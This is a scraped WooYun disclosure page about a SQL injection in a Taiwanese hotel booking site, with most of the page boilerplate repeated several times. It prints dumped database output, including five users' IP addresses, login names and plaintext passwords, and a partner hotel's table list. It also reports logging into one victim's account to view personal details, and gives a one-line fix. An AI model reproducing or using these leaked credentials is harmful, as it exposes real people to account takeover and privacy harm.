Table: MemberLoginLog
[5 entries]
+-----------------+-------+------------+------------+---------------------+
| IP              | VarNo | LoginName  | LoginPass  | LoginTime           |
+-----------------+-------+------------+------------+---------------------+
| 210.202.81.67   | 3     | mife       | mifelalala | 2011-10-28 15:28:03 |
| 220.130.183.74  | 231   | yauco6     | yy560225   | 2011-10-28 15:28:33 |
| 1.200.155.129   | 420   | leonho     | leon1125   | 2011-10-28 15:28:44 |
| 220.138.129.224 | 226   | J221685791 | woxn77     | 2011-10-28 15:30:00 |
| 118.233.233.128 | 546   | 521410     | f8802439   | 2011-10-28 15:40:40 |
+-----------------+-------+------------+------------+---------------------+

登上mife账户发现身份证、手机号、座机和住址信息泄露

2.928个数据库包含540+的合作商家数据库：
例如FULIRESORT，转化成小写是fuliresort

打开立即订房其实进的是这个链接：https://www.ezhotel.com.tw/fuliresort/index.php?__fromurl=1&hotelid=1

https://www.ezhotel.com.tw/fuliresort/index.php?__fromurl=1&hotelid=1这里可以登录

Database: FULIRESORT
+-----------------------+---------+
| Table                 | Entries |
+-----------------------+---------+
| PromotionRoomQty      | 6330    |
| LoginLogB             | 5739    |
| RoomQty_Log           | 5051    |
| RoomQty               | 3050    |
| LoginLogC             | 2318    |
| Access_User           | 2071    |
| TBL_Log               | 647     |
| LoginLog              | 611     |
| DateInfo              | 610     |
| PromotionDateInfo     | 549     |
| Access_Sub            | 367     |
| Access_Main           | 196     |
| RoomFacilitiesInfo    | 161     |
| PromotionPrice        | 118     |
| CustInfo              | 92      |
| HotelOrderListSSL     | 73      |
| PromotionPlatform     | 71      |
| Access_Title2         | 47      |
| Promotion             | 40      |
| CardInfo              | 35      |
| INVInfo               | 35      |
| OrderInfo             | 35      |
| PriceData             | 25      |
| PriceData_Eng         | 25      |
| HotelUsers            | 16      |
| OrderInfoWaiting      | 16      |
| AllowableIP           | 12      |
| PromotionGroup        | 12      |
| Access_Title1         | 11      |
| TK_ReportInfo         | 11      |
| QtySet                | 10      |
| Mail_Question         | 9       |
| OrderInfo_Msg_Log     | 8       |
| CancelSet             | 7       |
| TK_ClassSet           | 6       |
| TypeDef               | 6       |
| TypeDef_Eng           | 6       |
| PriceDef              | 5       |
| PriceDef_Eng          | 5       |
| RoomType              | 5       |
| RoomType1             | 5       |
| RoomType2             | 5       |
| RoomType3             | 5       |
| RoomType4             | 5       |
| RoomType_Eng          | 5       |
| PromotionPriceDef     | 3       |
| PromotionPriceDef_Eng | 3       |
| ExtraServiceB         | 2       |
| OrderNotice           | 2       |
| ExtraService          | 1       |
| HotelInfo             | 1       |
| HotelInfo1            | 1       |
| HotelInfo2            | 1       |
| HotelInfo3            | 1       |
| HotelInfo4            | 1       |
| HotelInfo_Eng         | 1       |
| TK_TicketOrderInfo    | 1       |
+-----------------------+---------+

修复方案：

过滤注入点，整型转化下

版权声明：转载请注明来源路人甲@乌云

漏洞回应

厂商回应：

危害等级：高

漏洞Rank：18

确认时间：2015-03-08 03:16

厂商回复：

感謝通報

漏洞评价：

2015-03-03 21:55 | 明月影 ( 路人 | Rank:12 漏洞数:8 | 学姿势，学思路。)

等待忽略中
2015-03-04 08:00 | superbing ( 普通白帽子 | Rank:174 漏洞数:29 | 常羡古时儿女怀，嘻戏千山好自在。)

出完单，顺便刷rank了！哪个大牛匿名的？
2015-03-08 13:31 | 明月影 ( 路人 | Rank:12 漏洞数:8 | 学姿势，学思路。)

@superbing 路人甲

WooYun.org

漏洞概要关注数(24) 关注此漏洞

缺陷编号：wooyun-2015-099311

漏洞标题：台湾某订房网站存在高危SQL注入漏洞（230W的明文账户密码和500+的合作酒店数据库信息）

相关厂商：Hitcon台湾互联网漏洞报告平台

漏洞作者：路人甲

提交时间：2015-03-03 20:55

修复时间：2015-04-17 20:56

公开时间：2015-04-17 20:56

漏洞类型：SQL注射漏洞

危害等级：高

自评Rank：20

漏洞状态：已交由第三方合作机构(Hitcon台湾互联网漏洞报告平台)处理

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签：无

4人收藏收藏
分享漏洞：

漏洞详情

披露状态：

简要描述：

详细说明：

漏洞证明：

修复方案：

版权声明：转载请注明来源路人甲@乌云

漏洞回应

厂商回应：

厂商回复：

最新状态：

漏洞评价：

评论

WooYun.org

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2015-099311

漏洞标题：台湾某订房网站存在高危SQL注入漏洞（230W的明文账户密码和500+的合作酒店数据库信息）

相关厂商：Hitcon台湾互联网漏洞报告平台

漏洞作者： 路人甲

提交时间：2015-03-03 20:55

修复时间：2015-04-17 20:56

公开时间：2015-04-17 20:56

漏洞类型：SQL注射漏洞

危害等级：高

自评Rank：20

漏洞状态：已交由第三方合作机构(Hitcon台湾互联网漏洞报告平台)处理

Tags标签： 无

4人收藏 收藏 var token=""; var id="wooyun-2015-099311"; $(".btn-fav").click(function(){ CollectBug(id,token); }); 分享漏洞：

漏洞详情

披露状态：

简要描述：

详细说明：

漏洞证明：

修复方案：

版权声明：转载请注明来源 路人甲@乌云

漏洞回应

厂商回应：

厂商回复：

最新状态：

漏洞评价：

评论

漏洞概要关注数(24) 关注此漏洞

漏洞作者：路人甲

Tags标签：无

4人收藏收藏
分享漏洞：

版权声明：转载请注明来源路人甲@乌云